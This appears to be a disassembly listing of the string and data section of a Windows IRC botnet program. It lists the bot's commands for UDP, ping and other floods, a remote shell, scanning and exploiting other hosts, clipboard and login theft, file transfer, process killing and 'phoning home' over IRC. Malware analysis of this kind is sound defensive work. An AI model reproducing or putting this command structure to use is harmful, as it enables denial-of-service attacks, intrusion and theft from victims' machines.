aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_403038+12F7o
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_403038+1310o
		align 4
dword_4381E8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_403038+1315o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_403038+1320o
		align 4
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_403038+1339o
		align 4
dword_438214	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_403038+133Eo
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_403038+1349o
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_403038+1362o
		align 4
dword_438238	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_403038+1367o
aPingstop	db 'pingstop',0         ; DATA XREF: sub_403038+1372o
		align 10h
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_403038+138Bo
		align 4
dword_43825C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_403038+1390o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_403038+139Bo
		align 4
aServer_4	db 'Server',0           ; DATA XREF: sub_403038+13B4o
		align 4
dword_43827C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_403038+13B9o
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_403038+13C4o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_403038+13D9o
		align 4
aFindFile	db 'Find file',0        ; DATA XREF: sub_403038+3F70o
		align 10h
dword_4382B0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_403038+3F75o
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_403038+13EEo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_403038+1403o
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_403038+3F5Bo
		align 4
dword_4382E4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_403038+3F60o
aClonestop	db 'clonestop',0        ; DATA XREF: sub_403038+1418o
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_403038+1431o
		align 4
dword_438308	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_403038+1436o
aSecurestop	db 'securestop',0       ; DATA XREF: sub_403038+1441o
		align 4
aSecure		db 'Secure',0           ; DATA XREF: sub_403038+145Ao
		align 4
dword_43832C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_403038+145Fo
aScanstop	db 'scanstop',0         ; DATA XREF: sub_403038+146Ao
		align 4
aScan_0		db 'Scan',0             ; DATA XREF: sub_403038+1483o
		align 10h
dword_438350	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_403038+1488o
aScanstats	db 'scanstats',0        ; DATA XREF: sub_403038+1493o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_403038+14A8o
		align 10h
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_403038+14BDo
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_403038+14D2o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_403038+14E7o
aExplist	db 'explist',0          ; DATA XREF: sub_403038+14FCo
aReconnectt	db 'reconnectt',0       ; DATA XREF: sub_403038+1511o
		align 4
aR:					; DATA XREF: sub_403038+1526o
		unicode	0, <r>,0
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406F29o
		align 4
dword_4383C4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_403038+3EFEo
		dd 676E6974h, 2Eh
aDisconnectt	db 'disconnectt',0      ; DATA XREF: sub_403038+153Bo
aDc		db 'dc',0               ; DATA XREF: sub_403038+1550o
		align 10h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406F07o
		align 4
dword_438408	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_403038+3EDCo
		dd 6E697463h, 2E67h
aQuit_0		db 'quit',0             ; DATA XREF: sub_403038+1565o
		align 4
aQ:					; DATA XREF: sub_403038+157Ao
		unicode	0, <q>,0
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3EA7o
		align 4
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406EF1o
		align 4
aStatus		db 'status',0           ; DATA XREF: sub_403038+158Fo
		align 4
aS_1:					; DATA XREF: sub_403038+15A4o
		unicode	0, <s>,0
unk_438458	db  2Dh	; -		; DATA XREF: sub_403038+3E5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
aId		db 'id',0               ; DATA XREF: sub_403038+15B9o
		align 4
aI:					; DATA XREF: sub_403038+15CEo
		unicode	0, <i>,0
dword_43848C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_403038+3E1Do
		dd 2E7325h
aReboot		db 'reboot',0           ; DATA XREF: sub_403038+15E3o
		align 4
unk_4384AC	db  2Dh	; -		; DATA XREF: sub_403038+15FAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
unk_4384CC	db  2Dh	; -		; DATA XREF: sub_403038+1601o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
aThreads	db 'threads',0          ; DATA XREF: sub_403038+1635o
aT:					; DATA XREF: sub_403038+164Ao
		unicode	0, <t>,0
aSub		db 'sub',0              ; DATA XREF: sub_403038+3D64o
dword_438504	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_403038+3D8Ao
		dd 65726874h, 2E736461h, 0
unk_438524	db  2Dh	; -		; DATA XREF: sub_403038+3DF9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_403038+165Fo
aAl		db 'al',0               ; DATA XREF: sub_403038+1674o
		align 4
dword_43856C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_403038+3D15o
		dd 2E7473h
dword_438584	dd 676F6Ch		; DATA XREF: sub_403038+1689o
dword_438588	dd 676Ch		; DATA XREF: sub_403038+169Eo
dword_43858C	dd 7325h		; DATA XREF: sub_403038+3C3Ao
dword_438590	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_403038+3C6Do
		dd 2E676Fh
unk_4385A8	db  2Dh	; -		; DATA XREF: sub_403038+3CFAo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_2	db '- Failed to start listing thread, error: <%d>.',0
aClearlog	db 'clearlog',0         ; DATA XREF: sub_403038+16B3o
		align 4
aClg		db 'clg',0              ; DATA XREF: sub_403038+16C8o
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_403038+16DDo
aNi		db 'ni',0               ; DATA XREF: sub_403038+16F2o
		align 4
dword_4385FC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_403038+3BE9o
		dd 6F666E49h, 2Eh
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_403038+1707o
aSi		db 'si',0               ; DATA XREF: sub_403038+171Co
		align 4
dword_438624	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_403038+3BBAo
		dd 2E6F666Eh, 0
aBaybayman	db 'baybayman',0        ; DATA XREF: sub_403038+1731o
		align 4
aBamann		db 'bamann',0           ; DATA XREF: sub_403038+1746o
		align 4
dword_438654	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_403038+3B65o
		dd 746F4220h, 2Eh
aProcs		db 'procs',0            ; DATA XREF: sub_403038+175Bo
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_403038+1770o
		align 4
unk_43867C	db  2Dh	; -		; DATA XREF: sub_403038+3A55o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 4
aFull		db 'full',0             ; DATA XREF: sub_403038+3AB4o
		align 4
dword_4386A4	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_403038+3AD4o
		dd 696C2073h, 2E7473h
unk_4386C0	db  2Dh	; -		; DATA XREF: sub_403038+3B43o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStar_3	db ' Failed to start listing thread, error: <%d>.',0
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_403038+1785o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_403038+179Ao
		align 4
dword_438708	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_403038+3A07o
		dd 2E7325h
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_403038+17AFo
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_403038+17C4o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_403038+17D9o
		align 4
aDll		db 'dll',0              ; DATA XREF: sub_403038+17EEo
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_403038+1803o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_403038+1818o
		align 10h
unk_438750	db  2Dh	; -		; DATA XREF: sub_403038+394Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_43877C	db  2Dh	; -		; DATA XREF: sub_403038+396Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_4387A4	db  2Dh	; -		; DATA XREF: sub_403038:loc_4069B0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_403038+182Do
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_403038+1846o
		align 4
dword_4387DC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_403038+184Bo
dword_4387E8	dd 6F6877h		; DATA XREF: sub_403038+1856o
dword_4387EC	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_403038+1873o
dword_438800	dd 706D453Ch, 3E7974h	; DATA XREF: sub_403038:loc_4048D6o
dword_438808	dd 202E6425h, 7325h	; DATA XREF: sub_403038+18ADo
unk_438810	db  2Dh	; -		; DATA XREF: sub_403038+18E5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_403038+1E0Bo
aGc		db 'gc',0               ; DATA XREF: sub_403038+1E20o
		align 10h
dword_438840	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_403038+390Bo
		dd 2Dh
dword_438858	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_403038+3939o
		dd 72616F62h, 2E64h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_403038+1E35o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_403038+1E4Ao
		align 4
unk_438888	db  2Dh	; -		; DATA XREF: sub_403038+38E0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_4388AC	db  2Dh	; -		; DATA XREF: sub_403038:loc_406933o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_403038+1E5Fo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_403038+1E74o
		align 4
unk_4388EC	db  2Dh	; -		; DATA XREF: sub_403038+38C2o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_438910	db  2Dh	; -		; DATA XREF: sub_403038:loc_406901o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_43893C	db  2Dh	; -		; DATA XREF: sub_403038:loc_406908o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
aCurrentip	db 'currentip',0        ; DATA XREF: sub_403038+1E89o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_403038+1E9Eo
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_403038+1EB3o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_403038+1EC8o
		align 10h
unk_438990	db  2Dh	; -		; DATA XREF: sub_403038+37FDo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_4389CC	db  2Dh	; -		; DATA XREF: sub_403038+386Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToStar_4	db '- Failed to start server thread, error: <%d>.',0
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_403038+1EDDo
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_403038+1EF2o
		align 4
unk_438A1C	db  2Dh	; -		; DATA XREF: sub_403038+36C5o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_438A58	db  2Dh	; -		; DATA XREF: sub_403038+3734o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_5	db ' Failed to start server thread, error: <%d>.',0
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_403038+1F07o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_403038+1F1Co
		align 4
unk_438AA8	db  2Dh	; -		; DATA XREF: sub_403038+349Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
unk_438AC8	db  2Dh	; -		; DATA XREF: sub_403038+354Fo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_438AFC	db  2Dh	; -		; DATA XREF: sub_403038+35BEo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_6	db ' Failed to start server thread, error: <%d>.',0
		align 4
aCrash		db 'crash',0            ; DATA XREF: sub_403038+1F31o
		align 10h
dword_438B40	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_403038+1F47o
		dd 746F6220h, 2Eh
aCrash_0	db 'crash',0            ; DATA XREF: sub_403038+1F81o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_403038+1F97o
aSa		db 'sa',0               ; DATA XREF: sub_403038+1FACo
		align 10h
unk_438B70	db  2Dh	; -		; DATA XREF: sub_403038+31DFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
unk_438BB0	db  2Dh	; -		; DATA XREF: sub_403038:loc_4064BFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_7	db '- Failed to start scan, port is invalid.',0
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_403038+3397o
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_403038+339Eo
		align 4
unk_438BFC	db  2Dh	; -		; DATA XREF: sub_403038+33C9o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
unk_438C68	db  2Dh	; -		; DATA XREF: sub_403038+343Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_8	db '- Failed to start scan thread, error: <%d>.',0
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_403038+1FC1o
		align 10h
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_403038+1FD8o
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_403038+1FEEo
unk_438CDC	db  2Dh	; -		; DATA XREF: sub_403038+2072o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
unk_438D0C	db  2Dh	; -		; DATA XREF: sub_403038+20DDo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_403038+2124o
		align 4
aRin		db 'rin',0              ; DATA XREF: sub_403038+2139o
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406185o
		align 4
unk_438D78	db  2Dh	; -		; DATA XREF: sub_403038+3168o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_403038+214Eo
aRinms		db 'rinms',0            ; DATA XREF: sub_403038+2163o
		align 4
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_40613Co
		align 10h
unk_438DD0	db  2Dh	; -		; DATA XREF: sub_403038+311Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
aNick_0		db 'nick',0             ; DATA XREF: sub_403038+2178o
		align 4
aN:					; DATA XREF: sub_403038+218Do
		unicode	0, <n>,0
aNickS_0	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+30ECo
		align 4
unk_438E0C	db  2Dh	; -		; DATA XREF: sub_403038+30FAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
aJoin		db 'join',0             ; DATA XREF: sub_403038+21A2o
		align 4
aJ:					; DATA XREF: sub_403038+21B7o
		unicode	0, <j>,0
aJoinSS_1	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30CCo
		align 4
unk_438E4C	db  2Dh	; -		; DATA XREF: sub_403038+30DAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 10h
aPart_1		db 'part',0             ; DATA XREF: sub_403038+21CCo
		align 4
aPt		db 'pt',0               ; DATA XREF: sub_403038+21E1o
		align 4
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+30A5o
		align 4
unk_438E88	db  2Dh	; -		; DATA XREF: sub_403038+30B3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_403038+21F6o
aR_1:					; DATA XREF: sub_403038+220Bo
		unicode	0, <r>,0
aS_28		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+3085o
		align 4
dword_438EBC	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_403038+3093o
		dd 2E732520h, 0
aKillthread	db 'killthread',0       ; DATA XREF: sub_403038+2220o
		align 4
aK:					; DATA XREF: sub_403038+2235o
		unicode	0, <k>,0
aAll		db 'all',0              ; DATA XREF: sub_403038+2F9Eo
unk_438EEC	db  2Dh	; -		; DATA XREF: sub_403038+2FB8o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
unk_438F14	db  2Dh	; -		; DATA XREF: sub_403038:loc_405FFAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_438F3C	db  2Dh	; -		; DATA XREF: sub_403038+3008o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 10h
unk_438F60	db  2Dh	; -		; DATA XREF: sub_403038:loc_406047o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
aC_quit		db 'c_quit',0           ; DATA XREF: sub_403038+224Ao
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_403038+225Fo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_403038+2F0Do
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_403038+2274o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_403038+2289o
		align 4
aNickS		db 'NICK %s',0          ; DATA XREF: sub_403038+2EC6o
aS_13		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+2EDBo
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_403038+229Eo
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_403038+22B3o
		align 4
unk_438FD8	db  2Dh	; -		; DATA XREF: sub_403038+2E7Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
aOpen		db 'open',0             ; DATA XREF: sub_403038+22C8o
		align 4
aO:					; DATA XREF: sub_403038+22DDo
		unicode	0, <o>,0
aOpen_0		db 'open',0             ; DATA XREF: sub_403038+2E46o
		align 4
unk_439014	db  2Dh	; -		; DATA XREF: sub_403038+2E57o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_439034	db  2Dh	; -		; DATA XREF: sub_403038:loc_405E99o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
aServer		db 'server',0           ; DATA XREF: sub_403038+22F2o
		align 10h
aSe		db 'se',0               ; DATA XREF: sub_403038+2307o
		align 4
unk_439064	db  2Dh	; -		; DATA XREF: sub_403038+2E27o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_403038+231Co
aDn		db 'dn',0               ; DATA XREF: sub_403038+2331o
		align 4
unk_439094	db  2Dh	; -		; DATA XREF: sub_403038+2DCAo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4390B4	db  2Dh	; -		; DATA XREF: sub_403038+2DFDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_4390D4	db  2Dh	; -		; DATA XREF: sub_403038:loc_405E3Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_403038+2346o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_403038+235Bo
		align 4
unk_43910C	db  2Dh	; -		; DATA XREF: sub_403038+2D8Bo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_43912C	db  2Dh	; -		; DATA XREF: sub_403038:loc_405DCDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_403038+2370o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_403038+2385o
		align 4
unk_439168	db  2Dh	; -		; DATA XREF: sub_403038+2D58o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
unk_43918C	db  2Dh	; -		; DATA XREF: sub_403038:loc_405D9Ao
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
aDelete		db 'delete',0           ; DATA XREF: sub_403038+239Ao
		align 4
aDel		db 'del',0              ; DATA XREF: sub_403038+23AFo
dword_4391C8	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_403038+2D12o
		dd 27732527h, 2Eh
dword_4391E4	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_403038:loc_405D68o
dword_4391F0	dd 746567h		; DATA XREF: sub_403038+23C4o
dword_4391F4	dd 7467h		; DATA XREF: sub_403038+23D9o
dword_4391F8	dd 7325h		; DATA XREF: sub_403038+2C34o
unk_4391FC	db  2Dh	; -		; DATA XREF: sub_403038+2C86o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
unk_439220	db  2Dh	; -		; DATA XREF: sub_403038+2CF5o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStar_9	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
aList		db 'list',0             ; DATA XREF: sub_403038+23EEo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_403038+2403o
		align 4
dword_439268	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_403038+2C0Eo
		dd 0
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_403038+2418o
aMirc		db 'mirc',0             ; DATA XREF: sub_403038+242Do
		align 10h
unk_439290	db  2Dh	; -		; DATA XREF: sub_403038+2BE2o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_4392B0	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_403038:loc_405C24o
		dd 746E6573h, 2Eh
aVisit		db 'visit',0            ; DATA XREF: sub_403038+2442o
		align 4
aV:					; DATA XREF: sub_403038+2457o
		unicode	0, <v>,0
dword_4392D8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_403038+2B3Co
		dd 2Eh
